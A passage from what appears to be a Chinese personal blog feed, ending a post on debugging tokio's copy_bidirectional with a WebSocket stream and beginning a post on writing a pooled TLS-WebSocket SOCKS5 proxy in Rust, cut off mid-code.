class="keyword">let</span> <span class="variable">_</span> = <span class="title function_ invoke__">copy_bidirectional</span>(&amp;<span class="keyword">mut</span> inbound, &amp;<span class="keyword">mut</span> outbound).<span class="keyword">await</span></span><br></pre></td></tr></table></figure><p><code>copy_bidirectional</code> 会构建一个 <code>CopyBidirectional</code> Future </p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">CopyBidirectional</span>&lt;<span class="symbol">&#x27;a</span>, A: ?<span class="built_in">Sized</span>, B: ?<span class="built_in">Sized</span>&gt; &#123;</span><br><span class="line">    a: &amp;<span class="symbol">&#x27;a</span> <span class="keyword">mut</span> A,</span><br><span class="line">    b: &amp;<span class="symbol">&#x27;a</span> <span class="keyword">mut</span> B,</span><br><span class="line">    a_to_b: TransferState,</span><br><span class="line">    b_to_a: TransferState,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">enum</span> <span class="title class_">TransferState</span> &#123;</span><br><span class="line">    <span class="title function_ invoke__">Running</span>(CopyBuffer),</span><br><span class="line">    <span class="title function_ invoke__">ShuttingDown</span>(<span class="type">u64</span>),</span><br><span class="line">    <span class="title function_ invoke__">Done</span>(<span class="type">u64</span>),</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="title function_ invoke__">pub</span>(<span class="keyword">super</span>) <span class="keyword">struct</span> <span class="title class_">CopyBuffer</span> &#123;</span><br><span class="line">    read_done: <span class="type">bool</span>,</span><br><span class="line">    need_flush: <span class="type">bool</span>,</span><br><span class="line">    pos: <span class="type">usize</span>,</span><br><span class="line">    cap: <span class="type">usize</span>,</span><br><span class="line">    amt: <span class="type">u64</span>,</span><br><span class="line">    buf: <span class="type">Box</span>&lt;[<span class="type">u8</span>]&gt;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在 poll 的具体实现里，会对 inbound 和 outbound 做等价的双向拷贝</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="variable">a_to_b</span> = <span class="title function_ invoke__">transfer_one_direction</span>(cx, a_to_b, &amp;<span class="keyword">mut</span> *a, &amp;<span class="keyword">mut</span> *b)?;</span><br><span class="line"><span class="keyword">let</span> <span class="variable">b_to_a</span> = <span class="title function_ invoke__">transfer_one_direction</span>(cx, b_to_a, &amp;<span class="keyword">mut</span> *b, &amp;<span class="keyword">mut</span> *a)?;</span><br></pre></td></tr></table></figure><p>在 <code>transfer_one_direction</code> 的实现里，通过一个大 loop ，实现了 TransferState 的状态转移，TransferState 会从 Running 转换到 ShuttingDown 最后到 Done。核心逻辑在 Running 这一步，这里通过 CopyBuffer 避免了在双向拷贝过程中多次初始化 buffer 的开销，在 <code>CopyBuffer</code> 的 <code>poll_copy</code> 方法里，将数据从 <code>reader</code> 拷贝到 <code>writer </code></p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="variable">count</span> = ready!(buf.<span class="title function_ invoke__">poll_copy</span>(cx, r.<span class="title function_ invoke__">as_mut</span>(), w.<span class="title function_ invoke__">as_mut</span>(), prefix.<span class="title function_ invoke__">clone</span>()))?;</span><br></pre></td></tr></table></figure><p>在 <code>poll_copy</code>里 也是一个大 loop ，不停的 poll_read reader ，将读到的数据写到 writer ，同时修改 CopyBuffer 的状态，比如当读完的时候设置 read_done 为 true ，正常读完、数据写到 writer 的时候会修改 pos 和 cap ，pos 和 cap 之间的数据是预期要写到 writer 的数据</p><p>至此，<code>copy_directional</code> 的逻辑介绍的差不多了，看起来交换 <code>copy_bidirectional</code> 的参数两者应该完全等价呀（当然如果这时候我再细心一些。。就没有下面的文章了哈哈）。</p><p>那么是不是线程卡死在 poll_copy 了呢？</p><ul><li>第一步是想看线程卡死在从 inbound（TcpStream）到 outbound （ a -&gt; b ），还是从 outbound 到 inbound （ b -&gt; a ）。于是在 <code>transfer_one_direction</code> 的签名里增加 <code>prefix: String</code> ，同时也要修改 buf  <code>poll_copy</code> 的签名，增加 <code>prefix: String</code></li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">fn transfer_one_direction&lt;A, B&gt;(</span><br><span class="line">    cx: &amp;mut Context&lt;&#x27;_&gt;,</span><br><span class="line">    state: &amp;mut TransferState,</span><br><span class="line">    r: &amp;mut A,</span><br><span class="line">    w: &amp;mut B,</span><br><span class="line">    prefix: String,</span><br><span class="line">) -&gt; Poll&lt;io::Result&lt;u64&gt;&gt;</span><br><span class="line">where</span><br><span class="line">    A: AsyncRead + AsyncWrite + Unpin + ?Sized,</span><br><span class="line">    B: AsyncRead + AsyncWrite + Unpin + ?Sized,</span><br><span class="line">&#123;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">pub</span>(<span class="keyword">super</span>) <span class="keyword">fn</span> <span class="title function_">poll_copy</span>&lt;R, W&gt;(</span><br><span class="line">  &amp;<span class="keyword">mut</span> <span class="keyword">self</span>,</span><br><span class="line">  cx: &amp;<span class="keyword">mut</span> Context&lt;<span class="symbol">&#x27;_</span>&gt;,</span><br><span class="line">  <span class="keyword">mut</span> reader: Pin&lt;&amp;<span class="keyword">mut</span> R&gt;,</span><br><span class="line">  <span class="keyword">mut</span> writer: Pin&lt;&amp;<span class="keyword">mut</span> W&gt;,</span><br><span class="line">  prefix: <span class="type">String</span>,</span><br><span class="line">) <span class="punctuation">-&gt;</span> Poll&lt;io::<span class="type">Result</span>&lt;<span class="type">u64</span>&gt;&gt;</span><br><span class="line"><span class="keyword">where</span></span><br><span class="line">  R: AsyncRead + ?<span class="built_in">Sized</span>,</span><br><span class="line">  W: AsyncWrite + ?<span class="built_in">Sized</span>,</span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">println!</span>(<span class="string">&quot;out &#123;&#125; start copy lalalala&quot;</span>, prefix);</span><br><span class="line">  <span class="keyword">loop</span> &#123;</span><br><span class="line">    <span class="comment">// If our buffer is empty, then we need to read some data to</span></span><br><span class="line">    <span class="comment">// continue.</span></span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;in &#123;&#125; start copy lalalala&quot;</span>, prefix);</span><br><span class="line">    ...</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这一步需要 patch tokio 的代码，以便 debug 的时候可以方便修改 copy_bidirectional 的逻辑</p><figure class="highlight toml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">[patch.crates-io]</span></span><br><span class="line"><span class="attr">tokio</span> = &#123; path=<span class="string">&quot;/home/suika/code/github/tokio/tokio&quot;</span> &#125;</span><br></pre></td></tr></table></figure><p>重新运行发现，一直在疯狂打印 <code>a -&gt; b</code>，也就是卡死在了从 TcpStream 拷贝数据到 WebSocketStream 的逻辑里。</p><ul><li>又在 <code>poll_copy</code> 的 loop 里增加了很多日志</li></ul><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">pub</span>(<span class="keyword">super</span>) <span class="keyword">fn</span> <span class="title function_">poll_copy</span>&lt;R, W&gt;(</span><br><span class="line">  &amp;<span class="keyword">mut</span> <span class="keyword">self</span>,</span><br><span class="line">  cx: &amp;<span class="keyword">mut</span> Context&lt;<span class="symbol">&#x27;_</span>&gt;,</span><br><span class="line">  <span class="keyword">mut</span> reader: Pin&lt;&amp;<span class="keyword">mut</span> R&gt;,</span><br><span class="line">  <span class="keyword">mut</span> writer: Pin&lt;&amp;<span class="keyword">mut</span> W&gt;,</span><br><span class="line">  prefix: <span class="type">String</span>,</span><br><span class="line">) <span class="punctuation">-&gt;</span> Poll&lt;io::<span class="type">Result</span>&lt;<span class="type">u64</span>&gt;&gt;</span><br><span class="line"><span class="keyword">where</span></span><br><span class="line">  R: AsyncRead + ?<span class="built_in">Sized</span>,</span><br><span class="line">W: AsyncWrite + ?<span class="built_in">Sized</span>,</span><br><span class="line">&#123;</span><br><span class="line">  <span class="built_in">debug_assert!</span>(<span class="literal">true</span>, <span class="string">&quot;abc&quot;</span>);</span><br><span class="line">  <span class="built_in">println!</span>(<span class="string">&quot;out &#123;&#125; start copy lalalala&quot;</span>, prefix);</span><br><span class="line">  <span class="keyword">loop</span> &#123;</span><br><span class="line">    <span class="comment">// If our buffer is empty, then we need to read some data to</span></span><br><span class="line">    <span class="comment">// continue.</span></span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;in &#123;&#125; start copy lalalala&quot;</span>, prefix);</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">self</span>.pos == <span class="keyword">self</span>.cap &amp;&amp; !<span class="keyword">self</span>.read_done &#123;</span><br><span class="line">      ...</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="built_in">println!</span>(<span class="string">&quot;#2 &#123;&#125; start copy lalalala&quot;</span>, prefix);</span><br><span class="line"></span><br><span class="line">      <span class="keyword">let</span> <span class="variable">n</span> = buf.<span class="title function_ invoke__">filled</span>().<span class="title function_ invoke__">len</span>();</span><br><span class="line">      ...</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// If our buffer has some data, let&#x27;s write it out!</span></span><br><span class="line">    <span class="keyword">while</span> <span class="keyword">self</span>.pos &lt; <span class="keyword">self</span>.cap &#123;</span><br><span class="line">      <span class="built_in">println!</span>(<span class="string">&quot;#3 &#123;&#125; start copy lalalala&quot;</span>, prefix);</span><br><span class="line">      ...</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;#4 &#123;&#125; start copy lalalala, pos &#123;&#125; cap &#123;&#125; read_done &#123;&#125;&quot;</span>, prefix, <span class="keyword">self</span>.pos, <span class="keyword">self</span>.cap, <span class="keyword">self</span>.read_done);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// If we&#x27;ve written all the data and we&#x27;ve seen EOF, flush out the</span></span><br><span class="line">    <span class="comment">// data and finish the transfer.</span></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">self</span>.pos == <span class="keyword">self</span>.cap &amp;&amp; <span class="keyword">self</span>.read_done &#123;</span><br><span class="line">      ready!(writer.<span class="title function_ invoke__">as_mut</span>().<span class="title function_ invoke__">poll_flush</span>(cx))?;</span><br><span class="line">      <span class="keyword">return</span> Poll::<span class="title function_ invoke__">Ready</span>(<span class="title function_ invoke__">Ok</span>(<span class="keyword">self</span>.amt));</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>重新运行，发现在疯狂输出 <code>#4 </code>这行日志，而且 pos 是 69 ，cap 是 68 ！内心窃喜，看来是 tokio 的 bug ？可是我之前写的一个简单的 echo server 是可以正常工作的，那一定还是我的问题了。这时候仔细看了看下面的代码，突然想起来我在为 WebSocketStream 实现 poll_write 的时候，返回的长度是 <code>buf.len() + 1</code>（1是我这边自定义的包头长度），问题一目了然。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// If our buffer has some data, let&#x27;s write it out!</span></span><br><span class="line"><span class="keyword">while</span> <span class="keyword">self</span>.pos &lt; <span class="keyword">self</span>.cap &#123;</span><br><span class="line">  <span class="built_in">println!</span>(<span class="string">&quot;#3 &#123;&#125; start copy lalalala&quot;</span>, prefix);</span><br><span class="line">  <span class="keyword">let</span> <span class="variable">me</span> = &amp;<span class="keyword">mut</span> *<span class="keyword">self</span>;</span><br><span class="line">  <span class="keyword">let</span> <span class="variable">i</span> = ready!(writer.<span class="title function_ invoke__">as_mut</span>().<span class="title function_ invoke__">poll_write</span>(cx, &amp;me.buf[me.pos..me.cap]))?;</span><br><span class="line">  <span class="keyword">if</span> i == <span class="number">0</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> Poll::<span class="title function_ invoke__">Ready</span>(<span class="title function_ invoke__">Err</span>(io::Error::<span class="title function_ invoke__">new</span>(</span><br><span class="line">      io::ErrorKind::WriteZero,</span><br><span class="line">      <span class="string">&quot;write zero byte into writer&quot;</span>,</span><br><span class="line">    )));</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="keyword">self</span>.pos += i;</span><br><span class="line">    <span class="keyword">self</span>.amt += i <span class="keyword">as</span> <span class="type">u64</span>;</span><br><span class="line">    <span class="keyword">self</span>.need_flush = <span class="literal">true</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">println!</span>(<span class="string">&quot;#4 &#123;&#125; start copy lalalala, pos &#123;&#125; cap &#123;&#125; read_done &#123;&#125;&quot;</span>, prefix, <span class="keyword">self</span>.pos, <span class="keyword">self</span>.cap, <span class="keyword">self</span>.read_done);</span><br></pre></td></tr></table></figure><p>当时就觉得很好笑&#x3D;。&#x3D;，不过查问题的过程还是很有意义的。这时候就会闪过某人讲的话，you can‘t master it if you don’t understand it</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;tokio 库提供了 &lt;a href=&quot;https://docs.rs/tokio/1.6.1/tokio/io/fn.copy_bidirectional.html&quot;&gt;copy_bidirectional&lt;/a&gt; 方法，可以很方便地对于实现了 &lt;code&gt;AsyncRead+AsyncWrite&lt;/code&gt; 的数据结构实现双向拷贝。在上一篇文章（还在持续修改）中，我基于 websocket 实现了一个简单代理，使用的 websocket 库是 &lt;a href=&quot;https://docs.rs/tokio-tungstenite/0.15.0/tokio_tungstenite/#&quot;&gt;tokio_tungstenite&lt;/a&gt; 。&lt;/p&gt;
&lt;p&gt;原本在client端我自定义了类似双向拷贝的函数，而不是直接使用 &lt;code&gt;copy_bidirectional&lt;/code&gt; ，这是由于 &lt;a href=&quot;https://docs.rs/tokio-tungstenite/0.15.0/tokio_tungstenite/#&quot;&gt;tokio_tungstenite&lt;/a&gt; 基于 TcpStream 构建的 WebSocketStream 并没有实现 &lt;code&gt;AsyncRead+AsyncWrite&lt;/code&gt; 。另外，由于 &lt;a href=&quot;https://docs.rs/tokio-tungstenite/0.15.0/tokio_tungstenite/#&quot;&gt;tokio_tungstenite&lt;/a&gt; 返回的的 WebSocketStream 没有对外暴露好用的 read 和 write 方法，只是实现了 Sink 和 Stream，不过它对外提供了 &lt;a href=&quot;https://docs.rs/tokio-tungstenite/0.15.0/tokio_tungstenite/struct.WebSocketStream.html#method.split&quot;&gt;split&lt;/a&gt; 方法，可以将 stream 的读写分别拆分开来，拆分出来的读无脑将读到的数据写到 TcpStream ，拆分出来的写无脑将从 TcpStream 读到的写到自己的 stream 。这样带来的问题是，在读写分离的情况下，不能够优雅的感知 Close 包，无法优雅的退出上述读写的流程。简单展示下原本的实现：&lt;/p&gt;</summary>
    
    
    
    
    <category term="rust" scheme="https://suikammd.github.io/zh-Hans/tags/rust/"/>
    
  </entry>
  
  <entry>
    <title>使用rust实现sock5代理</title>
    <link href="https://suikammd.github.io/zh-Hans/2021/09/11/rust-proxy/"/>
    <id>https://suikammd.github.io/zh-Hans/2021/09/11/rust-proxy/</id>
    <published>2021-09-11T15:53:53.000Z</published>
    <updated>2026-11-19T13:04:46.187Z</updated>
    
    <content type="html"><![CDATA[<p>熟悉一门语言的第一步可能是用它写个代理吧。看了很久 rust 的语法，工作上派不上啥用场，只能自己制造需求了，希望以后能找份写 rust 的工作，或者可以自由学东西的工作。</p><h2 id="这个代理有什么特点？"><a href="#这个代理有什么特点？" class="headerlink" title="这个代理有什么特点？"></a>这个代理有什么特点？</h2><ul><li>基于 rust</li></ul><p>主要目的是练习写 rust ，另外 rust 安全高效</p><ul><li>基于 tls websocket</li></ul><p>过神秘的墙需要加密连接，否则容易毙掉。常见的做法类似 shadowsocks ，自定义加密协议，但是这种比较麻烦，偷懒直接使用 TLS websocket 来做这件事</p><ul><li>池化 websocket 连接</li></ul><p>池化连接的好处不容多说，少了建立连接的时间，代理速度更快</p><p>代理大体流程是这样的：</p><p><img src="https://i.imgur.com/jlSE51Z.png" alt="rust-proxy-pipeline"></p><p>代码地址：<a href="https://github.com/suikammd/rust-proxy">https://github.com/suikammd/rust-proxy</a></p><span id="more"></span><h2 id="前置准备"><a href="#前置准备" class="headerlink" title="前置准备"></a>前置准备</h2><p>（不是必须）</p><h2 id="client端整体流程"><a href="#client端整体流程" class="headerlink" title="client端整体流程"></a>client端整体流程</h2><p><img src="https://i.imgur.com/oqe5bDA.png" alt="proxy-client"></p><h2 id="代码设计"><a href="#代码设计" class="headerlink" title="代码设计"></a>代码设计</h2><p>浏览器和 client 建立的连接是普通的 sock5 连接，server 和浏览器想要访问的目的地是普通的 Tcp 连接，但是 client 和 server 之间是池化的 WebSocket 连接。因为我们需要做的事情主要有 4 件：</p><p>（1）解析 sock5 协议，拿到浏览器想要访问的目的地址 </p><p>（2）自定义数据包，同一个 WebSocket 连接会对应多个浏览器到 client 的 socks5 连接，因此在新的 sock5 连接建立的时候，需要让 server 知道浏览器想要访问的地址（ Connect 包），在 sock5 连接断开的时候，需要发送结束包（ Close 包），让 server 重新返回等待 Connect 包的状态 </p><p>（3）池化 WebSocket 连接，涉及到如何实现一个通用的连接池 </p><p>（4）tokio 提供了双向拷贝方法，需要数据结构实现 AsyncRead + AsyncWrite trait，由于 <a href="https://github.com/snapview/tokio-tungstenite">tokio_tungstenite</a> 定义的 WebSocketStream 并没有实现这两个 trait，所以还需要实现下这两个 trait</p><h3 id="解析-socks5-协议"><a href="#解析-socks5-协议" class="headerlink" title="解析 socks5 协议"></a>解析 socks5 协议</h3><ul><li>浏览器与 client 确认协议版本及认证方式</li></ul><table><thead><tr><th>VER</th><th>NMETHODS</th><th>METHODS</th></tr></thead><tbody><tr><td>1</td><td>1</td><td>1-255</td></tr></tbody></table><p>VER：SOCKS 版本，这里是 0x05</p><p>NMETHODS：METHODS 的数量</p><p>METHODS：客户端支持的认证方式</p><ul><li>client 会从浏览器指定的认证方法中选择一个方法回复</li></ul><table><thead><tr><th align="center">VER</th><th align="center">METHOD</th></tr></thead><tbody><tr><td align="center">1</td><td align="center">1</td></tr></tbody></table><p>METHOD：client 选择的认证方式</p><p>目前本文采用了 0x00（即不需要认证）</p><ul><li>浏览器发送请求消息，告诉 client 其希望访问的地址</li></ul><table><thead><tr><th align="center">VER</th><th align="center">CMD</th><th align="center">RSV</th><th align="center">ATYP</th><th align="center">DST.ADDR</th><th align="center">DST.PORT</th></tr></thead><tbody><tr><td align="center">1</td><td align="center">1</td><td align="center">0x00</td><td align="center">1</td><td align="center">动态</td><td align="center">2</td></tr></tbody></table><p>CMD：SOCKS 命令码，0x01（ Connect 请求）、0x02（ BIND 请求）、0x03（ UDP 转发）</p><p>RSV：保留字符 0x00</p><p>ATYP：DST.ADDR类型，0x01（IPv4）、0x03（域名）、0x04（IPv6）</p><p>DST.ADDR：目的地址</p><p>DST.PORT：目的端口</p><ul><li>client 在请求完浏览器想要访问的地址后，会将结果返回给浏览器</li></ul><table><thead><tr><th>VER</th><th>REP</th><th>RSV</th><th>ATYP</th><th>BND.ADDR</th><th>BND.PORT</th></tr></thead><tbody><tr><td>1</td><td>1</td><td>0x00</td><td>1</td><td>动态</td><td>2</td></tr></tbody></table><p> 内容几乎同浏览器的请求包</p><h3 id="自定义包结构"><a href="#自定义包结构" class="headerlink" title="自定义包结构"></a>自定义包结构</h3><p>从 client 到 server 的数据包有三种类型，Connect 包（告诉 server 浏览器想要访问的目的地址）、Data 包（浏览器请求数据）、Close 包（ socks5 连接断开&#x2F;结束），如下所示。</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">enum</span> <span class="title class_">Packet</span> &#123;</span><br><span class="line">    <span class="title function_ invoke__">Connect</span>(Addr),</span><br><span class="line">    <span class="title function_ invoke__">Data</span>(<span class="type">Vec</span>&lt;<span class="type">u8</span>&gt;),</span><br><span class="line">    <span class="title function_ invoke__">Close</span>(),</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">enum</span> <span class="title class_">Addr</span> &#123;</span><br><span class="line">    <span class="title function_ invoke__">IpV4</span>(([<span class="type">u8</span>; <span class="number">4</span>], <span class="type">u16</span>)),</span><br><span class="line">    <span class="title function_ invoke__">Domain</span>((<span class="type">String</span>, <span class="type">u16</span>)),</span><br><span class="line">    <span class="title function_ invoke__">IpV6</span>(([<span class="type">u8</span>; <span class="number">16</span>], <span class="type">u16</span>)),</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>顺便一提，本仓库是基于 <a href="https://github.com/snapview/tokio-tungstenite">tokio_tungstenite</a> 这个 websocket 库实现的。这个库在设计上有很多不合理的地方，比如没有办法做 buffer 复用，可以看以下代码，当我构造一个 Binary 包的时候，我需要传 Vec 进去，即使传别的包也会通过 <code>bin.into()</code> 转换成 Vec，相当于又做了次拷贝，不如直接传 Vec 进去。如果之后优化代理，会考虑重写这个 websocket 库</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">enum</span> <span class="title class_">Message</span> &#123;</span><br><span class="line">    <span class="comment">/// A text WebSocket message</span></span><br><span class="line">    <span class="title function_ invoke__">Text</span>(<span class="type">String</span>),</span><br><span class="line">    <span class="comment">/// A binary WebSocket message</span></span><br><span class="line">    <span class="title function_ invoke__">Binary</span>(<span class="type">Vec</span>&lt;<span class="type">u8</span>&gt;),</span><br><span class="line">    <span class="comment">/// A ping message with the specified payload</span></span><br><span class="line">    <span class="comment">///</span></span><br><span class="line">    <span class="comment">/// The payload here must have a length less than 125 bytes</span></span><br><span class="line">    <span class="title function_ invoke__">Ping</span>(<span class="type">Vec</span>&lt;<span class="type">u8</span>&gt;),</span><br><span class="line">    <span class="comment">/// A pong message with the specified payload</span></span><br><span class="line">    <span class="comment">///</span></span><br><span class="line">    <span class="comment">/// The payload here must have a length less than 125 bytes</span></span><br><span class="line">    <span class="title function_ invoke__">Pong</span>(<span class="type">Vec</span>&lt;<span class="type">u8</span>&gt;),</span><br><span class="line">    <span class="comment">/// A close message with the optional close frame.</span></span><br><span class="line">    <span class="title function_ invoke__">Close</span>(<span class="type">Option</span>&lt;CloseFrame&lt;<span class="symbol">&#x27;static</span>&gt;&gt;),</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">Message</span> &#123;</span><br><span class="line">    <span class="comment">/// Create a new binary WebSocket message by converting to Vec&lt;u8&gt;.</span></span><br><span class="line">    <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">binary</span>&lt;B&gt;(bin: B) <span class="punctuation">-&gt;</span> Message</span><br><span class="line">    <span class="keyword">where</span></span><br><span class="line">        B: <span class="built_in">Into</span>&lt;<span class="type">Vec</span>&lt;<span class="type">u8</span>&gt;&gt;,</span><br><span class="line">    &#123;</span><br><span class="line">        Message::<span class="title function_ invoke__">Binary</span>(bin.<span class="title function_ invoke__">into</span>())</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="连接池实现"><a href="#连接池实现" class="headerlink" title="连接池实现"></a>连接池实现</h3><p>顾名思义，连接池就是池子里放着一大堆已经建立好的连接，在代理这个场景下（对端固定）连接池的作用毋庸置疑。那么我们这个连接池需要实现哪些功能呢？一言以蔽之，就是从池子里拿连接，将连接放回池子。但是为了让连接池足够快速，在从池子里拿连接的时候可以做这样的优化：如果池子里没有 idle 的连接，可以在池子里放一个 waiter（这里其实是 channel 的发送端），如果有人用完了连接，可以直接把连接给塞给这个 waiter，同时也去创建新的连接，然后通过 <code>future::select</code> 同时等待 waiter 拿到数据或者新连接创建完。</p><p>这时候我们可以总结出来 pool 的定义，可以是这样的：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Pool</span>&lt;T&gt; &#123;</span><br><span class="line">    inner: Arc&lt;Mutex&lt;Inner&lt;T&gt;&gt;&gt;,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Inner</span>&lt;T&gt; &#123;</span><br><span class="line">    idle: <span class="type">Vec</span>&lt;T&gt;,</span><br><span class="line">    waiters: VecDeque&lt;oneshot::Sender&lt;T&gt;&gt;,</span><br><span class="line">    max_idle: <span class="type">usize</span>,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>idle 是空闲连接，waiters 是向池子拿连接时放入的 waiter ，max_idle 是最大空闲连接数</p><p>（1）这个pool需要做哪些事情</p><ul><li><p>管理空闲连接：其实就是一个vec</p></li><li><p>从pool里拿出来一个连接</p></li></ul><p>分为两种情况</p><p>（1）idle 有空闲连接，直接 pop idle 里的空闲连接</p><p>（2）向 waiters 丢一个新的 waiter，同时通过 get 方法传进来的 make_service 创建一个新的连接。这时候使用 <code>future::select</code> 同时等待有人将用完的连接丢给 waiter ，或者新的连接先创建完。这里还做了个比较有趣的优化，如果有人先将用完的连接丢给 waiter ，新的连接创建的一半岂不是很浪费，没关系，这里我们可以通过 <code>tokio::spwan</code> 出继续完成新连接的创建，再将新创建的连接放到 idle 里</p><p>返回的数据结构是这样定义的，一个是连接本身，一个是指向 pool 的弱引用。为什么 inner 需要时 Option 呢？这是因为这样可以比较方便的将连接 take 出来，也不至于触发 <code>Pooled</code> 的析构，用完了可以再 insert 进去。那为什么需要持有 pool 的弱引用呢？因为需要知道放回连接到哪个池子里</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Pooled</span>&lt;T&gt; &#123;</span><br><span class="line">    <span class="keyword">pub</span> inner: <span class="type">Option</span>&lt;T&gt;,</span><br><span class="line">    pool: 